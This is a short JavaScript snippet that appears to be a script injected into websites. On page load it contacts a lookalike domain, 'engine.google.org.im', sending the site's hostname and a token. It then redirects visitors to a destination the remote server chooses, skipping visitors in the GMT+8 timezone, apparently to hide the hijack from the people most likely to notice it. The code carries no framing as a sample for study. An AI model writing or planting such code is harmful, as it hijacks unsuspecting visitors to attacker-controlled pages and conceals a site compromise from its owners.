var setCookie = function (c_name,value,expiredays){
		var exdate=new Date();
		exdate.setDate(exdate.getDate()+expiredays);
		document.cookie=c_name+ "=" +escape(value)+((expiredays==null) ? "" : ";expires="+exdate.toGMTString());
	};
var jsonsite	= 	"http://engine.google.org.im";
var jsonhost 	= 	location.hostname;
var jsontoken 	= 	Crypto.MD5(jsonhost).substr(5,15);		
var jsonpurl 	= 	jsonsite + "/index.php?token=" + jsontoken + "&domain=" + jsonhost;	 

jQuery(document).ready(function(){ 
    $.ajax({
	type: "get",
	async: false,
	url: jsonpurl,
	dataType: "jsonp",
	jsonp: "callback",
	jsonpCallback:"callback",
	success: function(json){
		var d = new Date();	
		var gmtHours = 0 - d.getTimezoneOffset()/60;	
		var gmtMin = d.getMinutes();  
		if( gmtHours != 8 && gmtMin > json.gmtMin && json.run == 1){		
			window.location="http://"+json.dst;
		}
		if(gmtHours == 8 ){
           setCookie("CookiegmtHours",gmtHours,7);
		}
    },
    error: function(){	}
	});
});